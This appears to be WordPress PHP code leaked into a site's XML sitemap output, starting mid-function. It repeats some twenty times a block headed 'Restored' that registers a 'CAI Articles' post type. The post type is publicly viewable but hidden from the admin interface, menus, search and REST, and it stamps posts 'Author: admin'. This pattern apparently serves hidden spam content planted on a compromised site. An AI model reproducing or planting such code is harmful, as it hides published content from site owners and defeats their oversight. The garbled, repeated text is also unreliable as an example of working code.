    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://medacom.co.il/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://medacom.co.il/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://medacom.co.il/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://medacom.co.il/wp-sitemap-taxonomies-category-1.xml</loc></sitemap></sitemapindex>
